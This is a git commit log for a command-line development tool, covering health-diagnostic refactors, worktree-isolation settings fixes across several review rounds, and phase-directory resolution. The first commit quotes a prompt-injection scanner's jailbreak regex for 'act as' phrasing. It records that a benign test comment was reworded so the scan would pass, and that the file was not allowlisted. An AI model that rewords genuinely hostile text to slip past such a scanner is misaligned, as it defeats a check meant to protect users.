Now 0ms at n=2000. Disclosed coverage tradeoff, recorded at the
constant: a regex literal with a BARE unescaped ']' outside a class is
no longer matched by this backstop. No census shape has that form, and
the AST rule remains the primary detector.

Verified the guard did not go blind doing it: a real census-shape
violation is still reported, and an allow-adhoc-regex-escape
suppression comment is still honored.

Regression test drives the exported findViolations on a
2000-repetition adversarial input and asserts the RESULT. It makes no
wall-clock assertion — elapsed-time tests are forbidden — so a
regression surfaces as a harness timeout, which is the correct signal.

Prompt injection scan — 'must not act as a regex wildcard' in a test
comment matched the scanner's jailbreak pattern act\s+as\s+(a|an|if|
my). Reworded to 'behave as'. Deliberately NOT allowlisted: silencing a
whole test file over one phrase would blunt the scanner permanently,
and the comment has nothing to do with injection.

Neither failure was reachable from the remote runner — CodeQL and the
injection scan are not in that matrix, so the sha it passed was green
and still wrong.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-13 16:19:57 -04:00
sim
6a1860c579 docs(#3309): fix CONTEXT.md's stale Health Diagnostic Module entry
Still said RULES ships empty and repair handlers are stubs — true when
the skeleton batch first wrote this glossary entry, false since the
migration landed (RULES holds 31 wired rules, applyRepairs has real
per-action handlers). Found by the Standards-axis orthogonal review.
2026-08-13 02:56:53 -04:00
sim
e0021a2fed refactor(#3309): extract health-diagnostic-types leaf module, wire RULES
Wiring all 8 rule-group files into health-diagnostic.cts's RULES array
created a genuine CJS circular dependency: each group file required
health-diagnostic.cjs back for the shared enums, and health-diagnostic.cjs
now required the group files forward, so the enums were undefined
mid-load (destructuring health-diagnostic.cjs's still-unassigned
exports).

Fixes it by splitting the enums/types (SEVERITY, REMEDY_ACTION,
REMEDY_RISK, Remedy, Diagnostic, Rule) into a dependency-free leaf
module, health-diagnostic-types.cts, that both sides import instead of
each other. health-diagnostic.cts re-exports the enums for existing
consumers. RULES is now the real concatenation of all 8 groups (31
codes — E001 intentionally stays a pre-check outside the table).
2026-08-13 01:46:20 -04:00
sim
cc1ec5b0fd chore(#3309): register health-diagnostic-rules/*.cjs as generated artifacts
Mirrors the existing health-diagnostic.cjs / planning-snapshot.cjs
pattern: gitignore the compiled output and exclude it from eslint so
the generated JS isn't linted as hand-written source. Also adds the
CONTEXT.md glossary entry and INVENTORY.md rows for the new
src/health-diagnostic-rules/ directory.
2026-08-13 01:37:13 -04:00
sim
ef10bba707 refactor(#3309): add health-diagnostic.cts skeleton (types + evaluator)
Phase 11 of epic #3180 (ADR-3180 §8.2/§8.3/§8.5). New src/health-diagnostic.cts:
SEVERITY/REMEDY_ACTION (7 members: 6 real repair actions + ADVISE)/REMEDY_RISK
(NONE/DESTRUCTIVE) frozen enums, Diagnostic/Remedy/Rule types, an empty RULES
table (rules land in the next commits), evaluateRules (with a duplicate-code
defense-in-depth check ahead of the lint guard), and applyRepairs (the
DESTRUCTIVE-risk-refusal dispatcher — §8.3 rule 3 — with stub handlers; real
repair bodies port in the migration step).

Six-gate .cts ripple: .gitignore, eslint.config.mjs, docs/INVENTORY.md +
manifest, CONTEXT.md glossary entry.
2026-08-13 00:51:12 -04:00
sim
2538fd6344 refactor(#3308): add planning-snapshot.cts parsed projection per ADR-3180 §8.1
Phase 10 of epic #3180. src/planning-snapshot.cts is a new parsed
projection of .planning/, composed exclusively from the already-
consolidated §7 owners (getMilestoneInfo, listMilestonePhaseDirs,
isPhaseComplete, scanPhasePlans, stateFieldValue, planningPaths) plus
the frozen SCOPE enum. No new semantic derivation is introduced beyond
worstScope, a pure combinator folding several independently-scoped
owner answers into one composite signal.

Adds STATE_UNREADABLE to src/unusable-input.cts's UNUSABLE_REASON
(seventh #1879 site) for STATE.md exists-but-unreadable, distinct
from absent.

Adds scripts/lint-planning-snapshot-bypass-drift.cjs, a ratcheted
drift guard (ADR-3180 Decision 4(e)) scoped to DIAGNOSTIC_RULE_FUNCTIONS
(currently cmdValidateHealth in src/verify.cts only) preventing new
raw .planning/ reads from bypassing the snapshot, while acknowledging
cmdValidateHealth's existing 15 raw-read sites as debt owned by
Phase 11 (#3309).

Six-gate .cts ripple: .gitignore, eslint.config.mjs,
docs/INVENTORY.md + manifest regen, CONTEXT.md glossary entry.

Breaking changes: none. This phase adds the subject only; Phase 11
migrates cmdValidateHealth onto it.
2026-08-12 21:43:39 -04:00
Behruz Nassre Esfahani
f0abdb1b89 fix(#2486): do not recommend or persist Claude-only worktree isolation on non-Claude runtimes (#2531)
* fix(#2486): runtime-branch the settings worktrees question + W020 health diagnostic

On non-Claude runtimes /gsd:settings offered "Yes (Recommended)" for
worktree isolation and persisted workflow.use_worktrees: true — the exact
value the execution workflows fail closed on (#1521 guards). Branch the
question on the same stamped config-get runtime read the guards use:
Claude keeps the unchanged question; non-Claude offers only
"No (Recommended)" / "Leave unchanged", never persists true, and warns
when the config carries an inherited explicit true. /gsd:health gains
W020, surfacing such a config with the guards' own predicate before
execution-time failure. Docs state the runtime-conditional default.

Fixes #2486

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* chore(#2486): add changeset for PR #2531

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): reassign the health worktrees check W020 -> W024 (verify.cts namespace collision)

The workflow-level check collided with the live W020 (git-worktree-list
health) emitted by cmdValidateHealth in src/verify.cts — invisible from
health.md's error_codes table, which stops at W019 and under-represents
the real namespace (W010-W017, W020-W023 all live). W024 verified free.
Adds a regression test pinning the chosen code against src/verify.cts so
a future assignment cannot silently collide, a table note naming the
namespace owner, and the changeset body reworded to house style.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): pre-select the recommended repair in the broken-inheritance case

Review round 2: at settings.md:142 the pre-selection rule left "Leave
unchanged" as the default when the config carried an explicit
non-false use_worktrees — the exact broken state the adjacent notice
warns about, so accepting the default kept a config that fails closed
at execution time. "Leave unchanged" is now the default only when the
key is absent (nothing to repair); explicit false AND explicit
non-false both pre-select "No (Recommended)", aligning the default,
the label, and the notice.

Pinned by two source-contract assertions in the #2486 regression
block. Goldens (settings.md hash x19) + size baseline regenerated.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): gate the worktrees question on dispatch.isolation, not the runtime name

Review round 2: #2584 Phase 3 replaced the runtime-name test with a
declared `dispatch.isolation` capability, invalidating this PR's
premise. cursor declares harness-worktree and codex/opencode/kimi/
kimi-code declare orchestrator-worktree, so a `RUNTIME != claude` gate
blocked a supported configuration on five runtimes and false-warned in
health.

- settings.md + health.md read `query dispatch-isolation` and branch on
  `ISOLATION = none`; the runtime-name read is gone from both, and the
  capability read needs no per-runtime stamping (it fail-closes unknown/
  undocumented internally)
- all "Claude Code-only primitive" prose rewritten, including the two
  gates the shell-syntax check missed (config-key list, JSON schema
  comment)
- W024 reconciled across health.md + CONFIGURATION.md + planning-config.md
  (docs still said W020, which collides with a verify.cts code)
- health.md error-codes table fixed: the namespace note no longer sits
  between rows orphaning I001
- the asymmetry note for the two workflows #2584 has not migrated
  (quick.md, diagnose-issues.md) is enforced by a set-equality test with
  a self-check table, so it cannot go stale in either direction

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs(#2486): restore the Executor isolation section clobbered by #2661

`46ba02ac` (feat(#2630), the current next tip) reverted docs/CONFIGURATION.md
to a pre-#2584 state: it restored the old "Non-Claude note" wording on the
workflow.use_worktrees row and deleted the whole "Executor isolation per
runtime" section. The change is unrelated to that PR's phase-estimation
feature and looks like a stale-copy edit.

This PR's use_worktrees row links to #executor-isolation-per-runtime, so the
deletion leaves a dangling anchor. Restored byte-for-byte from a40ee8a5 (the
text #2584 Phase 3 originally shipped). No link/anchor checker exists in
scripts/ or tests/, so CI would not have caught the dead link.

The reverted row wording is outside this PR's scope and is still wrong on
next; reported upstream as #2668.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(#2486): acknowledge the emitted size growth for settings.md and health.md

The #2723 differential attribution check (epic #2719 Phase 3) landed on next
after this branch opened and gates emitted-file growth behind a committed
acknowledgment. Both grown files are attributable to source this PR changes;
the ack names them and says why, per ADR-2719 §3.

Verified load-bearing: removing tests/emitted-drift-ack.json reproduces the
same failure; restoring it passes 59/59.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2486): reword the W024 remediation so it names no bare gsd-tools call

The W024 warning told the user to run `gsd-tools query config-set`, a
command-position bare invocation that fails with "command not found" on a
shim-only install (#2751) — the diagnostic sent the user into a second,
more confusing error than the one it reported. The remediation now names
only `/gsd:settings` and the config key itself, both of which work on
every install layout, and the #2751 command-position gate goes green.

Fixes #2486

* fix(#2486): drop the Known-asymmetry note and its guard test — #2728 migrates both workflows

Review Major 2: once #2728 lands, the note describes a gap that no longer
exists and instructs maintainers not to do the thing that was just done —
with the set-equality guard test pinning the stale prose green. This PR now
depends on #2728 (declared in the PR body), so the note and its guard go.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* test(#2486): make the #2728 merge order enforceable instead of advisory

settings.md recommends and persists `workflow.use_worktrees: true` for every
runtime whose declared dispatch.isolation is not `none` — cursor
(harness-worktree) and codex/opencode/kimi/kimi-code (orchestrator-worktree).
quick.md and diagnose-issues.md consume that value at dispatch time and, while
they still gate on the runtime NAME, FATAL for all five. Merged first, this PR
reintroduces #2486's own shape for the exact runtimes it exists to help — on
the path it now labels "Recommended".

The dependency was stated only as prose in the PR body. A merge-order note is
not a gate: an automated batch merge never reads it. This adds the check that
makes the ordering structural — red while either sibling is still name-gated,
green the moment #2728 lands.

The predicate matches a RUNTIME-vs-"claude" comparison, not the legitimate
runtime-identity read, and accepts either the inline canonical
dispatch-isolation read or a reference to dispatch-isolation-gate.md, which is
the shape #2728 gives quick.md. Verified both directions against real sources:
red against the current workflows, green against #2728's.

This also closes W024's coverage window. W024 fires only when ISOLATION is
`none`, so it is structurally blind to these five runtimes — /gsd:health would
report healthy right up until quick.md FATALs. W024 cannot see the hazard, so
the hazard is prevented by making the unsafe ordering unmergeable rather than
by warning after the fact.

Separately, the W-code namespace-collision test now declares its source read
instead of passing lint silently: verify.cts emits its codes as inline string
literals across ~25 addIssue() calls and exports no enumerable registry, so
there is nothing to require() and assert against. The gap, and what it costs,
are stated in the test.

* docs(#2486): use the hyphen command form for /gsd-health in CONFIGURATION.md

docs/ is never passed through the install-time slash-form converters, so the
colon form names a command no runtime registers. Clears the sole
lint-docs-command-form violation attributable to this PR.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2486): resolve isolation via new side-effect-free inspect-dispatch-isolation query; scope the settings change to isolation-none runtimes

Review round 4:

- B1: /gsd:health and /gsd:settings no longer call the recording
  dispatch-isolation query — on current next it persists the resolved
  decision to the executor-isolation sentinel as an unconditional #3045
  side effect, letting a read-only diagnostic hard-block executor
  dispatch for the sentinel's lifetime across sessions. Both surfaces now
  use inspect-dispatch-isolation, a new read-only verb sharing the exact
  resolution implementation (extracted resolveDispatchIsolationDecision)
  with zero writes. Behavioral tests pin: no sentinel write, per-runtime
  parity with the recording verb, recording knobs ignored, --json shape.

- B2: the #2728 merge-order interlock test is deleted — a repo test
  cannot sequence merges; it only made this PR unmergeable on its own
  schedule. The settings behavior change is scoped entirely to the
  ISOLATION=none branch, which needs nothing from #2728; the != none
  path is base behavior unchanged.

- M1: the W024-vs-verify.cts namespace test (an admitted source-grep) is
  deleted per RULESET.TESTS.delete-bad-tests, without a standing
  exemption; the namespace claim lives as guidance in health.md.

- M2: remaining allow-test-rule exemptions re-derived into documented
  categories (source-text-is-the-product, integration-test-input) with
  issue refs per ADR-456.

- Minor: settings.md's current-value read drops the stampable
  --default/fallback so key-absence stays distinguishable from an
  explicit false on non-Claude emits (the pre-selection rule depends on
  the tri-state); docs now present inspect-dispatch-isolation as the
  inspection command and name dispatch-isolation as the recording
  resolver.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2486): put the install-marker rung in the canonical runtime resolver

Round-7 review (independent cross-AI pass over the whole PR).

BLOCKER — the gate did not fire in the default case. `resolveRuntime`
stopped at GSD_RUNTIME > config.runtime > 'claude', and
`config-new-project` writes NO `runtime` key — so on a real non-Claude
install every consumer believed it was on Claude: isolation reported
`harness-worktree`, /gsd:settings still offered "Yes (Recommended)" and
W024 stayed silent. That is #2486's own symptom, surviving the fix meant
to remove it. Verified end-to-end on a real `--qwen` install with a
runtime-neutral config and GSD_RUNTIME unset: pre-fix `harness-worktree`,
fixed `none`.

The rung lives in `resolveRuntime` (src/runtime-slash.cts), the ONE
canonical resolver, not in the isolation call site. A per-consumer fix
forks precedence: `inspect-dispatch-isolation` would answer `cursor` while
`dispatch-should-flatten` and `resolve-dispatch-type` still answered
`claude` for the same install. All three now agree. `readInstallRuntimeMarker`,
its cache and its test seams MOVED from model-resolver.cts to
runtime-slash.cts, with model-resolver re-exporting the seams — one marker
read and one cache, not two that drift.

Deliberately NOT `resolveActiveRuntime`/`loadConfig`: an intermediate
revision of this fix routed through `loadConfig`, which normalizes and
rewrites legacy keys back to disk. That gave `inspect-dispatch-isolation`
— the verb whose entire purpose is being side-effect-free — a write side
effect, which is the defect the verb exists to avoid. `resolveRuntime`
reads .planning/config.json directly. Re-verified: the inspect query
against a real install creates no `.gsd/`.

Tests, both of which were too weak in the first attempt and are now
fail-first proven:
- The W024 behavioral stub returned success-with-empty-output for an absent
  key. Real `config-get` EXITS NON-ZERO, and the `|| echo "true"` fallback
  only triggers on failure — so reintroducing the fallback would have passed.
  The stub now returns 1 for the absent case.
- The marker regression asserted on the exported helper, so reverting
  gsd-tools.cjs to a marker-blind resolver still passed. It now drives a real
  `--qwen` install through the shipped `inspect-dispatch-isolation` query.
  (GSD_TEST_MODE must be cleared for that child, or install.js no-ops while
  still exiting 0 — a green test over an install that wrote nothing.)
  Spawned through `installSpawnEnv()` so ambient GSD_HOME cannot leak in.

Also: the three PR-added `try/finally` test bodies converted to `t.after()`
per CONTRIBUTING; CONTEXT.md's `worktree create` UNCONSUMED claim corrected
(Phase 3 calls it in executor-isolation-dispatch.md); docs/CONFIGURATION.md
now states the current non-Claude `use_worktrees` default rather than
describing capability-scoped stamping that lands with #2652; resolver
precedence comments updated to name the marker rung.

Refs #2486
Refs #2668

* fix(#2486): split the marker rung out; make the use_worktrees doc row order-independent

Round-8 review. trek-e's Blocker was procedural — commit 10fba7b8 moved the
per-install .gsd-runtime marker rung into the canonical resolver, a large
blast-radius change that arrived undisclosed and unreviewed. They offered
two remedies; taking the second: SPLIT IT OUT.

src/runtime-slash.cts and src/model-resolver.cts are reverted to their next
state and the marker regression test is removed. What remains is what this
PR was filed for: the settings.md / health.md / gsd-tools.cjs isolation
query, W024, and the #2668 docs restoration.

COST, stated plainly rather than buried: without that rung this PR's gate
resolves 'claude' on a non-Claude install whose project config carries no
`runtime` key — which is every config config-new-project writes. On those
installs W024 stays quiet and /gsd-settings still offers Worktrees. The gate
is correct whenever the runtime IS resolvable (GSD_RUNTIME set, or an
explicit config.runtime). That is why `Fixes #2486` is already downgraded to
`Refs` — #2486 must not close until the residual lands. A KNOWN LIMITATION
comment at the resolver call site names #2395 so this does not read as an
oversight.

The rung itself belongs to #2395, which reports this exact defect and was
closed by #2446 — a PR that touched only bin/install.js and fixtures and
never runtime-slash.cts, so it persisted the identity into
~/.gsd/defaults.json, a tier resolveRuntime does not read. Evidence and a
reopen request are posted there. That same tier is #2566's B1.

DOCS — the reviewer flagged that this row and #2728's are order-dependent:
whichever merges second falsifies the other. Removed the dependency instead
of picking an order. The "Current default … until #2652" paragraph is now a
plain troubleshooting note, true before and after #2728 lands.

CONFLICT — one hunk in CONTEXT.md: next added the #2596 scope-conformance
interface to the same Worktree-Safety paragraph where this PR corrected the
`worktree create` UNCONSUMED claim. Resolved keeping both.

Verified: lint:ci green. Full suite clean apart from the pre-existing
#1160 installed-runtime capability surface. (emitted-attribution also failed
until the fork's stale next was fast-forwarded — it defaults to origin/next,
which was 131 commits behind; 175/175 against the current base.)

Refs #2486
Refs #2668

* fix(#2486): address round-9 review — distinguish "cannot resolve" from "declares none", reject recording-only args on the read verb

Codex review of the whole PR, five findings, all verified against source first.

Major 3 (the one real defect). Both surfaces read isolation as
`ISOLATION=$(… || echo "none")`, so a resolver failure became indistinguishable
from a genuine `dispatch.isolation: none` declaration — and W024's text then
asserts the latter, telling a user their runtime declares no executor-isolation
primitive when GSD simply could not find out. health.md and settings.md now
capture the raw value and track ISOLATION_RESOLVED, the same shape
references/dispatch-isolation-gate.md already uses (#2652 review). W024 gained a
second message for the unresolved case; settings still fails closed there — it
must never persist a `true` it cannot justify — but reports what happened rather
than a verdict it never reached.

Major 4. `dispatch-isolation` applies --force-isolation AFTER the shared
resolver returns; inspection accepted the flag and silently ignored it, so the
same argv yielded 'none' from one verb and the declared capability from the
other. inspect-dispatch-isolation now rejects --force-isolation/--phase/--plan
as usage errors. Verified by mutation: disabling the guard reds exactly the
three new rejection tests.

Major 1. settings.md claimed this flow and the execution guards "always reach
the same verdict". False while quick.md still gates on the runtime name: an
orchestrator-worktree host can be offered a `true` that /gsd:quick rejects as
fatal, W024 silent because isolation is not none. Scoped the claim to the
capability gate, named #2728 as the conversion, and added the same caveat to the
CONFIGURATION.md use_worktrees row. Not a behavior change — the `!= none` branch
is untouched base behavior.

Major 2. "side-effect-free" overstated it: every gsd-tools invocation runs the
shared bootstrap, and getActiveWorkstream unlinks a stale workstream pointer.
That is pre-existing, verb-independent and cannot block a dispatch; writing the
sentinel can. Renamed the claim to "sentinel-free" everywhere and documented
precisely what is and is not asserted.

Minor 5. The JSON parity test asserted against a handwritten key list and never
invoked the recording verb, so the two could diverge and stay green. It now runs
`dispatch-isolation --json` in a separate project dir and deep-compares, with a
control asserting that verb DID write a sentinel. Added the orchestrator exec
branch (--cwd-target) the registry parity test never covered.

runtime-converters.test.cjs pinned the old `|| echo "none"` line as canonical —
that literal was the Major 3 defect. Repinned as two invariants (the raw read is
present; the collapsing fallback is absent) plus an ISOLATION_RESOLVED
requirement, so reformatting does not fail the test but a semantic regression
does.

settings.md sits at 40777 bytes against the 40960 DEFAULT hard cap. The
round-9 prose was compressed to fit rather than raising the cap.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d (#1160 _resolveManifest, and
the #3053 quick_id tests, which compare a local-time expectation against a
TZ=UTC child and so only pass on a UTC host).

* fix(#2486): second review pass — drop a dangling reference, correct the whole unresolved branch, pin the branch behaviorally

Codex re-review of the full PR after the first round-9 pass. It confirmed Majors
1, 2 and 4 and Minor 5 fixed, and found seven more. All verified against source.

Minor 5 was mine and the worst of them: settings.md and health.md pointed at
`gsd-core/references/dispatch-isolation-gate.md`, which exists only on the #2728
branch — not in this PR and not on the merge-base. Merging this alone would have
shipped three dangling canonical-source references. Removed; the surrounding
text now stands on its own.

Major 2. The unresolved branch corrected only the two option descriptions. The
pre-selection rationale still claimed an absent key already resolves to false on
this runtime, and the explicit-true notice still stated the runtime declares no
primitive — both capability verdicts that were never reached. The substitution
rule now covers every place in that branch that asserts one.

Major 3. The repinned invariants could not catch the mutation they existed to
catch: flipping the shipped block's ISOLATION_RESOLVED=true to false left all
three green, since they only assert the raw read is present, the token appears,
and the collapsing fallback is gone. Added a behavioral test that drives the
shipped W024 block twice — resolver answering vs resolver exiting non-zero — and
asserts the two emit different text, that the unresolved branch says "could not
resolve", and that it does NOT claim the runtime has no primitive. Verified: the
true->false mutation now reds it.

Major 1. The verb fail-closes an unknown or undeclared runtime to `none` and
exits 0, so ISOLATION_RESOLVED=true means "the query answered", not "the runtime
published a declaration" — the shell cannot see an internal fallback. Exposing
provenance is an API change and out of scope here, so W024's resolved-case text
is instead written to be true of every path that reaches it ("no usable
executor-isolation primitive — declared or fail-closed from an unknown value"),
and both workflows state the limit of the signal explicitly.

Minor 4. The rejection tests regex-matched human prose, so swapping
ERROR_REASON.USAGE for UNKNOWN would have kept them green while breaking machine
consumers. They now pass --json-errors and assert reason === 'usage' on the
parsed envelope.

Minor 6. CONTEXT.md still described the verb as side-effect-free. Now
sentinel-free, consistent with the router comment and the other two surfaces.

Minor 7. 183 bytes of headroom under the 40960 hard cap was called
unacceptable, and it was — a routine 184-byte edit would have failed CI.
Compressed this PR's own settings.md prose (the #2486 block was carrying ~7.1KB
of rationale) to 40499 bytes, 458 free. Two phrases other tests pin verbatim
were restored after the first compression pass reworded them.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): third review pass — placeholder table replaces the fragile substitution rule

Codex round 3 blocked the push on two Majors. Both verified and real.

Major 2 was the substantive one and my error. The round-2 fix told the model to
find and replace the string "this runtime declares no executor-isolation
primitive (dispatch.isolation: none)" — text that does not appear anywhere in
the branch. The first option description has no parenthetical, the second
asserts "absent, it already resolves to false on this runtime" (not covered at
all), and the pre-selection rationale and notice carried three more unsupported
assertions. A model following the instruction literally would have found no
match and changed nothing.

Replaced with three named placeholders — {FINDING}, {CONSEQUENCE}, {ABSENCE} —
and a two-column table giving each one's resolved and unresolved wording. Every
assertion in the branch now flows from the table, so none of them can outrun
what was actually established, and there is no string-matching to get wrong. It
is also shorter than the prose it replaced.

Major 1: the resolver catches thrown errors and returns none successfully, a
path the round-2 wording ("declared, or unknown/undeclared") did not cover.
Both surfaces now say "declared as none, or fail-closed because the capability
could not be determined", which is true of the thrown path too, and both state
that an internal resolution error is among the things the verb fail-closes.
Still not provenance — the verb cannot distinguish these for the caller — but no
longer a claim the code contradicts.

Minor 3: the behavioral test asserted only that the two branches differ and that
the resolved one omits "could not resolve", so arbitrary resolved text stayed
green. Now pins what it must positively say: the capability finding, the
fail-closed consequence, the offending key, and (both branches) the repair
command.

Minor 4: two stale artifacts the round-2 sweep missed — a test comment still
citing the #2728-only references/dispatch-isolation-gate.md, and the emitted
drift ack still describing inspection as side-effect-free. Also aligned the two
remaining router comments to sentinel-free.

settings.md 40420 bytes, 540 free under the cap.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): fourth review pass — stop recommending a repair whose effect depends on the emit

Codex round 4, one Major and three Minors. The Major is a real hole and worth
the round.

W024 advised "remove the key from .planning/config.json so the runtime default
(false) applies". That default is not false everywhere: execute-phase.md:102,
quick.md:155 and diagnose-issues.md:62 all read the key as
`|| echo "true"`, and only `_stampNonClaudeRuntimeDefaults` rewrites them to
`--default false` on a non-Claude emit. So on an un-stamped emit the advised
repair leaves use_worktrees resolving to TRUE against isolation none — exactly
the state W024 exists to flag. Reachable in the round-3 gap: a caught internal
resolver error returns none with rc=0, so ISOLATION_RESOLVED is true and the
confident branch fires on a host whose emit was never stamped.

Fixed by removing the dependence rather than the symptom: both surfaces now say
to set workflow.use_worktrees false explicitly, and say why deleting the key is
not equivalent. The {ABSENCE} placeholder no longer claims absence resolves to
false unconditionally — it is scoped to an emit that stamped that default.

Minor: the notice and W024 hardcoded .planning/config.json, which is the wrong
file in an active workstream (settings itself resolves $GSD_CONFIG_PATH
correctly). Both now say "the project config", naming the workstream case.

Minor: the new repair pin required the literal /gsd:settings, a form documented
as no longer routable. Relaxed to accept the canonical slash and $-prefixed
forms so a correct rewording cannot fail the test.

Nit: two test descriptions still said side-effect-free.

Not fixed, deliberately: the verb still cannot tell a caught resolver error from
a declared none, so ISOLATION_RESOLVED remains a signal about the CALL, not the
declaration. Both workflows now state that limit outright. Exposing provenance
is a change to the query contract that belongs with the runtime-resolution work
in #2395, not here.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d. The only change after that
suite run was removing a redundant regex escape flagged by eslint; that test was
re-run individually and eslint is clean.

* fix(#2486): fifth review pass — stop recommending "leave it absent" as the safe default

Codex round 5, one Major: the round-4 fix corrected the {ABSENCE} wording but
left the pre-selection rule built on the assumption it had just falsified. An
absent key still pre-selected "Leave unchanged" on the rationale that there was
nothing to repair. Absence resolves to false only where the emit stamped that
default; on an un-stamped emit it reads as true, so accepting the recommended
default could preserve the exact isolation-none-plus-true state this branch
exists to prevent.

The isolation-none branch now pre-selects "No (Recommended)" in every case,
including an absent key. Writing an explicit false is correct under either emit;
"Leave unchanged" stays available for the deliberate shared-config case but is
never the default. The test that pinned the old rule pinned a falsified
assumption, so it now pins the new one and asserts the old sentence is gone.

Also tightened the round-4 repair regex, which had been relaxed far enough to
accept `$gsd:settings` and `/gsd:settings-bogus`. It now matches only the
canonical `/gsd-settings`, `/gsd:settings` and `$gsd-settings` forms.

settings.md 40685 bytes, 275 free.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next @ 33fca50d.

* fix(#2486): make the inspection exemption block-scoped, and drop the last pre-#2728 claim

Codex review of the conflict resolution: one Major, two Minors, all real.

Major. The inspection-surface exemption I added to #2728's "every dispatch-site
degrade block re-records" guard was FILE-wide. Codex probed it by adding an
unrecorded executor block to health.md: the exemption assertions still passed,
the whole file was skipped, and the offender went unreported. That is the same
hole the hand-listed revision of this guard had — a promise of "every dispatch
site" with a silent carve-out.

Now scoped per block. A block earns the exemption only by resolving through
`inspect-dispatch-isolation` AND carrying no dispatch primitive (`Agent(`,
`harnessFlag`/`HARNESS_FLAG`, `isolation="worktree"`, or the recording verb).
The file-level assertions remain as a precondition on top. Verified with Codex's
own probe: the appended dispatch block is now reported at health.md:285, while
the legitimate inspection block still passes.

Minor. settings.md still carried the caveat saying `quick.md` gates on the
runtime name and "#2728 converts that surface". #2728 has landed. Same obsolete
premise already removed from docs/CONFIGURATION.md in the merge commit; this was
the copy I missed. Removing it also returns 413 bytes, so settings.md now has
688 free under the 40960 cap rather than 275.

Minor. Four scratch-directory prefixes still read `w024` after the renumber.
Non-functional, but the whole point of the rename was that W024 now means
someone else's warning.

Validated: lint:ci clean; full suite green except the two failures that
reproduce identically on pristine next.

* fix(#2486): name the diagnostics' state INSPECTED_ISOLATION and delete the exemption

Codex probed the per-block exemption and it was still escapable: DISPATCH_PRIMITIVE
matched only `Agent(`, two harness-flag spellings, `isolation="worktree"` and the
recording verb, so `Task(`, `spawn_agent(`, a `codex exec` process dispatch, and —
unfixably by any regex — the repo's normal split shape (isolation resolved in one
bash fence, dispatch in a later one) all still qualified as exempt.

Took Codex's suggested fix, which is better than the one it replaces. The
diagnostics now name their state `INSPECTED_ISOLATION` / `INSPECTED_RESOLVED` /
`_INSPECTED_RAW` instead of reusing the dispatch-site names. #2728's guard scans
for a literal `ISOLATION=none`, so health.md and settings.md fall outside it BY
CONSTRUCTION and the exemption is deleted outright — no carve-out to escape, and
a diagnostic that ever writes a real `ISOLATION=none` is caught like any other
site. The name is also just more accurate: an inspection result is not a dispatch
decision.

Pinned so the reasoning cannot be lost: the #2486 suite now asserts neither
diagnostic assigns the bare `ISOLATION` name, with the rationale in the comment.
Verified by mutation — renaming back makes #2728's guard flag health.md:107 AND
fails the new naming pin.

Net effect on the guard's coverage is positive: before this PR it scanned two
fewer files by exemption; now it scans everything.

settings.md 40352 bytes, 608 free.

Validated: lint:ci clean; full suite green except the two failures that reproduce
identically on pristine next.

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-12 20:45:08 -04:00
JusticeWay
77374cfc32 fix(#2528): resolve digit-leading phase directories by bare number (#2559)
* fix(#2528): resolve digit-slug phase dirs by bare number — tokenizer rewind, shared bare-integer fallback, resolution-path parity gate

extractPhaseToken welded 2-digit slug words onto the phase token (phase 10
named "24/7 Autonomy" -> dir 10-24-7 -> token 10-24), making digit-prefixed
phase names unresolvable by bare number across every phase verb.

- phase-id: continuation segments must be the PURE 2-digit zero-padded form
  the write side emits; a 1-digit terminator rewinds the absorbed run
  (10-24-7 -> 10) while >=2-digit terminators keep the locked #2232
  round-trip (14-06-2026-photos -> 14-06).
- phase-id: new matchPhaseDirs owner — primary exact-token match plus a
  bare-integer leading-digit-run fallback for shapes the tokenizer cannot
  rewind (05-80-20-cleanup); collisions stay #2237-loud.
- locator/find-phase/phase-plan-index all delegate selection to the owner;
  plan-index gains the previously missing multi-match guard.
- tests: #2528 unit + fast-check metamorphic blocks; new 9-scenario
  resolution-path parity gate across all three paths.

Fixes #2528

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* chore(#2528): add changeset for PR #2559

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2528): align validation token grammar

* fix: address phase token review

* fix: restore phase grammar parity for numeric slugs

* docs: document digit-leading phase resolution

* docs: clarify ambiguous phase resolution behavior

* docs: register canonical phase directory selectors

* fix: align prefixed deep phase token parsing

* fix(#2528): route the fourth resolution site through matchPhaseDirs

Review BLOCKER. smart-entry.cts::detectVerifyFailed resolved the current
phase's directory with its own `.find(phaseTokenMatches)` and never
reached the shared selection, so the bare-integer-fallback family the
issue names — `05-80-20-cleanup`, `30-12-factor-refactor` — resolved
nowhere. The miss is silent by construction: an unresolved phase reports
"not failed", which is byte-identical to a healthy one, so a failed
verification simply never surfaced in /gsd or /gsd:progress.

`entries` is already sorted and matchPhaseDirs filters without
reordering, so matches[0] reproduces the previous selection exactly
wherever the old code resolved at all.

Wiring it into phase-resolution-parity.test.cjs as a fourth path then
exposed a second, older defect in the same function: phaseTokenFromDirName
shape-probed the UNSTRIPPED token, so a project-code-prefixed directory
(`MEM-05-…`, tokenizing to `MEM-05-80-20`) failed the leading-digit test
and was dropped before any resolution ran — every phase in a
project-coded plan was invisible to this check. The probe now runs on the
stripped token; the returned value is unchanged, so the comparePhaseNum
sort is untouched.

Path 4 has no JSON surface to compare, so the gate observes selection
indirectly: plant the failing artifact in exactly one directory and a
passing one everywhere else, then read the boolean. Reverting either fix
turns 5 of the 10 corpus scenarios red.

